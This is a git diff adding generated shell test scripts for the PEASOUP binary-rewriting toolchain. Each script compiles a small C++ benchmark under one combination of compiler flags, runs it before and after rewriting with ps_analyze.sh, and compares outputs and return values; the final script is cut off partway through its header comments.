+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1a4392315ac716633ab0bf0b366adfd0534c9bb0
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..7444daebf2cdc6c0428577a24f3c21f265a9322d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..14d3d0687c622cd5227985fa9b9b465e9db487d6
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3b865f0cda2995b49d79d2e54230e0d267bb7e04
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..622875d5cf7cf66a4710f2052fa2e0085621849a
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0711faeefd3aa2d56b26a05658a9fde721095426
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
